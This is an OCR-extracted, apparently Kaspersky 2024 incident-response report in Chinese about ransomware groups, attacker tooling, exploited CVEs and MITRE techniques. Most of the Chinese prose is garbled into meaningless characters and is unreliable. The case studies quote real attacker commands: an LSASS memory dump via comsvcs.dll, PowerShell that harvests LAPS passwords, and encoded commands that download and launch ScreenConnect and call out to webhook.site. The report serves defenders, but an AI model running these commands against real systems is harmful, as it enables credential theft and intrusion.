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@ £ 2024 F, TR HEEF BERK A5 BIREAIL 2024 £, W ERBEMANTA
q MG EEIRZ, X—BBERE, BREZE W IEM YA EfSxE

AR (IAB) BRI BfR. XL IAB EEEM 17 L RERNIZ
ABYEE, NI ERMEER, EEFRNRIARSS (Raas) BY
E/ERT, IAB I EERUNEILERIRIZNRE AT, X
BERE, TR EEEERPRNFBER], HLEBELH TR
S ARETRIDEE, RRISRREMEZRM. X—IIKD
BT ERETAEHEREBIENER,

A @ EFR, PRNHFHIBMSBEES T To 2024F, &1 41.6% BY
< LS ESPRNEX, R TAI—FR 33.3% BHE £,
} RERXK, RN RS KARH RNEEZZ 2 EM.

& EZLMENERIEMF, LockBit LL43.6% MEEHA BIFE,
ERZ Babuk (9.1%) #1 Phobos (5.5%) » B8 BHIE, 2024 & Mimikatz 22%
HEI a0 ShrinkLocker #1 Ymir SR $h =04,

@ IbIh, 2024 & Mimikatz (21.8%) # PsExec (20.0%) 89752

R T 5T, X T BB S WEER IS SR AL
A 5, W AT SRR ISR, E— SR T 22 B
R

GERT & IRAYHh LR

£ 2024 5, BAIBIPAENIS T—RINIEARBMARX LI, BT GR
B T¥EY ShrinkLocker 10 Ymir2 XA RIHELE 24, KIBE T4
Tusk 3 XFE R BEREBNKEEDN. tIh, FATENERENF YT CVE-2023-
48788* JRIARI A MARF 1B TERAIMNZAYEIZER, FITHIZKEIA
H—H R, WHEFFRMELIEN LockBit 3.0 3 #9i2& TA LI Elpaco- PsExec 20%
Mimic B9ZE 7 6, XERIMANER T SRINSREFERNSFMENE R

M, WIREETRA N L 2B RYTIR 1L, (BT IR ETINs2 AR, 12

FHRZSTRE ST

APT ;&z&h

BOMEIRE T, HEABREAR L RNKE S 2AMIRESHMN 26.3%. FEIEHEF, B=n2— (31.7%) B9
Lo RIEHE BAALR, HA, BlackJack HRRIM R /G, AR E S E S E/M 9.8%; GREF. DarkStar
X CloudAtlas BREIEERR, 2 BEEEL 5%, RIERIRINE, Tkl SRR BT 9 E TR
ENEEBNR, 2AEXT 26.8%. 19.5% Az 19.5% BILtLEH T,

1 SecurelList -ShrinkLocker: 2 SecureList -Ymir: EESLKEH 3 Securelist -Tusk: 1B —1HE %
¥ BitLocker TN#RMRH B R E N 1 SR ENER W E RN
4 Securelist -WHEEFEHEWHH 5 Securelist -f# /8 LockBit ### T 6 SecureList -Elpaco £#f:
FAT—BEER FortiClient B4 RE RS R R —# Mimic TR
EMS J&3F
2\
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https://securelist.com/tusk-infostealers-campaign/113367/
https://securelist.com/elpaco-ransomware-a-mimic-variant/114635/
https://securelist.com/ransomware-abuses-bitlocker/112643/
https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/
https://securelist.com/lockbit-3-0-based-custom-targeted-ransomware/112375/
https://securelist.com/patched-forticlient-ems-vulnerability-exploited-in-the-wild/115046/

Ay

k

(=

TBEHE
BREEMARARE

EBHERBILEHRAE

OISR ET REHET 2024 FAAARNNESRGEEN R, FEMBRMERESHMN. BFEEUR
BRI E—RIIRS, EENERERLZESMRMINARRMIE R AREPMKIENEIE, RE~EH
BESRZARNGIFEE, XEARNEBESHEIRZ2SHMI KAL), ARANIEFINEABEIMmEE /)
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https://www.kaspersky.com.cn/enterprise-security/cybersecurity-services
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BNt X B E E B, JRIZEZREXS A LL 50.6% RUIER SR ESFHAL, HEMEREIE K,

D OEL | 2024 FREEERRS AROENE
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https://www.kaspersky.com/enterprise-security/contact-investigation?icid=irreport
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ZER, HRARBIN FARFIEA R T ENIEIEIE. 2024F, ZENBMIERE, THEHSHHPEEEX39.2%,
AT 2023 F, UREERFNENBIWE SLLBPIEETT, BI5LL 12.8% BISEIFIE = BRIKANLEL 31.4%
BISEL, FEEANSZAENIEEN, I, BT, WEHBNE—MERIPRRGE TR, SHEHr 10%.
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T oEs | RSN
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. mkpﬁm *Uﬁﬁﬁﬁ]ﬁﬁﬂ"llﬁﬁﬁﬁf? g‘_.}-fﬁm - 39.20/0
I Active Directory 2.9% 1.0%  5.9% 17.6% 2.0%
LONE: BRIKF . 31.4%
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FEFPERNREES, REETRTNS MBS EREE TR, REFTANKGARTEMAFERAES
BN TEE (XRETRERFEAIRIES MAVKIE) , BXFIEI Mimikatz 8¢ PsExec XET7ZNANIE,
NWFERBGEE RS BN, MAEl#ITEB RS ERENRF.

FHPAAIAENS MmAmER
—

v —

M, 8-22% —fi%, 4-8% F, 1-4%
~
ProcDump  PowerShell BloodHound  Process Hacker
Impacket ADRecon gs-netcat Nmap NSSM WMIC
_Ngrok ERHEOFBTIA Chisel DiskCryptor ~ gmerexe  Remcom
Advanced IP Scanner netscan.exe LaZagne

WhEKREERA—RYISSATAE LIRS DR EEHE U SRR EE BRI,

S5t 18.9% WNOEEE SSH gs-netcat [Revsocks ‘Gost Cloudflared RDP PuTTy Tactical RMM

~y

Chisel  Process Hacker Localtonet gmer Kavremvr Tor FRP HRSword

[bagilpap:s 18.3%
PCHunter IObitUnlocker Neo-reGeorg Defender Control TDSSKiller
v
; . SoftPerfect Network Scanner SN[=1ecle 1o B=X7 5 {mESE = Advanced IP Scanner
= 15.2% :
ADRecon Fscan BloodHound 'Nmap LANSearchPro Everything PingCastle ‘adPEAS
~ v
Jl PsExec PowerShell SMBExec WMIC NSSM Wmiexec MeshAgent Remcom
T 12.2% '
WSO WebShell ATExec WinSW  PAExec
~ v
v ProcDump  SecretsDump LaZagne CredentialsFileView Nanodump
R 11.6%
WebBrowserPassView XenAllPasswordPro  Gosecretsdump grabFF
TS
= 9.8% BitLocker  DiskCryptor Eraser WipeDisk SDelete
Ny
Yrge 49% 7zp WIinRAR 7z Adminer SharpHound Raw Copy FileZilla
~
UCIEE 2 3.7%  Impacket CobaltStrike PowerSploit ~Metasploit NXC Havoc
=
BR 3.7% Rclone WinSCP WinGet Wget MEGASync
>
R 2R 1.8% Invoke-sAMSpoofing EfsPotato JuicyPotato
2024 FEFFMR DR S 13
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WHERANTA

B AP T ARG

BMERENER: XHHNBERAI
ID: T1083° AR R

NEXREE, LockBltijJ%EMﬁF 5EHIBERD & e EF R EGENBY R HE M RDP 1518 T—a XRS5 25,
fe/aiEs XA R IREESFIORINEE, IRFI BT EREXRF R BAHRR:

"Restricted" OR ="Confidential" OR ="Private" OR ="Operational & Inventory" OR ~="Finance" datemodified: 1/1/2022..today
"Balance" datemodified: 1/1/2022..today

"ssn" OR ="Restricted" OR ="Confidential" OR ="Private" OR ~="Operational & Inventory" datemodified: 1/1/2022..today
"tax" OR ="Income Statement" OR ="Balance" OR ="Cash" OR ="Financial Footnotes" OR ="Compensations" OR ="Customer
Information" OR ="Employee Data" OR ~="Intellectual Property" datemodified: 1/1/2022..today

BT X EETRES f, WEEWE 7 XHARS s PRV R X, FEEETTEUGIHER,
HMAMNE R EEZ I RE,

A= PRI — S~
ID: T1087.002%° EiAR: &I
TR BT R RIS TRRT RN RIS, BB R (2P PowerShell BT T—R5IE, LUERES:

@ TEFIMEIRLIEEE Active Directory:

Import-Module ActiveDirectory

Install-Module ActiveDirectory

Register-PSRepository -Name "PSGallery" -SourceLocation "https://www.powershellgallery.com/api/v2/" -InstallationPolicy
Trusted

Set-PSRepository -Name "PSGallery" -InstallationPolicy Trusted

Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force

Register-PSRepository -Default -InstallationPolicy Trusted

Install-Module -Name ActiveDirectory -Foxce

@ BEEKA:

Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose
Unlock-ADAccount -Identity "<edited>"
Get-LAPS

@ M\EEELRETERR:
gc "c:\program files\LAPS\CSE\Admpwd.d1l"

@ RREXREERIZSENSNKARIER:

$laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-
AdmPwdExpirationTime -Server <edited> | ? {$.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-
AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($.'ms-
Mcs-AdmPwdExpirationTime')))}}

nltest /domain_controllers

nltest /dclist

nltest /dclist:<domain_edited>

Import-Module AdmPwd.PS

9 T1083: XHMERZH 10 T1087.002: WA KA

-, Tpe

7y

h‘i
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https://attack.mitre.org/techniques/T1087/002/
https://attack.mitre.org/techniques/T1083/
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ABEESRERS: #IERGRERE

ID: T1003% A EHEAIR)

RN NERRERIRHEIE, —ER L ARABBER LA, AFEEESARERS. EX RS, BITH
ERE T AT NERANRS, STEM LSASS RSHIRIUFAER. NABRER 2B, tiIRAT—

IR AR, ERiEE T — MIRFER, 1F51500: https://github.com/login-securite/lsassy/blob/master/
Isassy/dumpmethod/comsvcs.py

%COMSPEC% /Q /c cMD.eXE /Q /c for /f "tokens=1,2 delims= " ~%A in ('"tasklist /fi "Imagename eq lsass.exe" | find
"lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000"24 *%B \Windows\Temp\<random_name>.tar full

AAMEITHELURBUHFI A CVE-2023-48788 ifiH: @3 A RRM FREIF ALz
ID: T1219%2 HR: B S5

EAMEBEEMBY FortiClient EMS Z/ERI A BRYREREG, Z 1T BEMTHEFIAE RMM (Zizkiz5EE)
THERERRURENBRZR, USRI EEMIR MR AT S 22 GERT 24N, XER L FERE T
Z P IZAEE RRBIE W E &,

A AIZRESEFE, WEEEHRBEHNAS LA E 7T—25 PowerShell 854, BT %% ScreenConnect itz
BIETH,

POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.
HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65%20%22%68%74%74%:70%73%3A%2F % 2F
%699%6E%66569%6E%697%74779%2E7%73%637:72%65%65%6E%63%6F %6E%6E %6576 3%74%2E 76 3%6F 756D%2F 7642%69 % 6E%2F 9653%6 3757 276 5% 657 6E%4 3% 6 F %
6E%6E%65%63%74%2E%43%6C%69%65%6E%747%53%65%749%75%70%2E%65%789%65%3F %65%3D%41%63%6 3%65%7 3%73%269%79%3D%47 %75%65%7 3%747%22%20
%26%20973%74%61%72%74%20%2F%42%:20%4 3% 3A%5C%75%70%64%61%74%65%2E%65%78%65"""))"""

AR ]iiilke=

curl -o C:\update.exe "https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest" & start /B
C:\update.exe

GERT Byt —FIESE, EE BB AHARSS webhook. site FIRFIEFTERIARIARS . BT L FEEK, I 1LHE
RERNAER, BAAZRSEEFERERF. WEREE N AT HREMBRARBERN, A2
R A RIS

POWERSHELL.EXE -COMMAND ""ADD-

TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6£%77%65%72%73%68%65%6c%6c%20
%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74770%73%3a%2£%2£%77%65%627%68%6 £7%6 £7%6b%2e%7 3%69%74%65%2£%32%37%38%6 6%58%
587%587%58%2d7%63%61%33%62%2d [REDACTED]%2d%39%36%65%34%2d%587%:58%:589:58%34%35%61%61%36%38%30%39%20%2d%4d%65%747%68%6 £6 4720 -
%50%61%73%74%20%2d%42%:6£%64%79%20%27%74%65%73%74%27%20%3%20%24%6€%75%6C%6c%22"""))""

cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX-
45226809 -Method Post -Body 'test' > $null"

T1003: BIERGEIRE R 12 T1219: imi2ifia) ek 13 Securelist -WHHEELHERFIAT—
A BIEEN FortiClient EMS iEH

2024 F RN HHITHR S



https://attack.mitre.org/techniques/T1003/
https://github.com/login-securite/lsassy/blob/master/lsassy/dumpmethod/comsvcs.py
https://github.com/login-securite/lsassy/blob/master/lsassy/dumpmethod/comsvcs.py
https://attack.mitre.org/techniques/T1219/
https://securelist.com/patched-forticlient-ems-vulnerability-exploited-in-the-wild/115046/
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NS =pE

TEZIM 72024 F KA BRIFHFEREIET. £ 2024 FEREEFANRKRAE, 81 90% T—FaiEE A,
X [ BRI o 4H 2R Y ST SR A R

Bl T B
L . 2024 FRAANEZRREER
29.2%
WA AR
20.8%
16.7%
8.3% o : 8.3% . 8.3%

4.2% 42%
2016 & 2017 & 2019 &£ 2020 & 2021 & 2022 & 2023 & 2024

2024 FEIRE R, REINRBESEF TR~ m (WWindows. Exchange. Active Directory. SharePoint) ,
570 CVE-2016-0099. CVE-2017-0176. CVE-2019-1458. CVE-2020-1472. CVE-2020-0688. CVE-2020-0787. CVE-
2021-42287, CVE-2021-34523, CVE-2021-34473 #1 CVE-2023-29357, [GIA, OpenSSH ARSS 88 (sshd) BUiRIAEE
ST, B8 CVE-2023-38408. CVE-2024-6387 (Bl regreSSHion) LAKz CVE-2024-6409, £t Cisco 10S XE %X
% Web B RERIRRE, 20 CVE-2023-20273 1 CVE-2023-20198 tB7E B SEW T R #7F Fo

TEEHEN TERMEIFSRES, £940% 2SBni2RIEHT (RCE), SBEREFLLAIBRESF BREHITIN
FRiEx, BEEERME, XEXFPpAES X RBENTERESHE GitHub 1 Exploit-DB FF& L AR
HELZI0IE (PoC) MR, XERFW G E LB R ZIREUARINR, HERNEIMERHITHEEER,
EREHMPBREAKEES (CWE) 23109, AT CWE-120 (LR HXK ) . CWE-269 (RIEEIETRY) . CWE-
287 (BPIRIFEARY) LA CWE-918 (ARSS2RIHIERINIE — SSRF) BRAEN, MXLERARAR BT L 2RI
(WEES AR DA BEEhS ) MLl SR, XME 7T HA A RTEFLERBERNES MR EEEZ 2,
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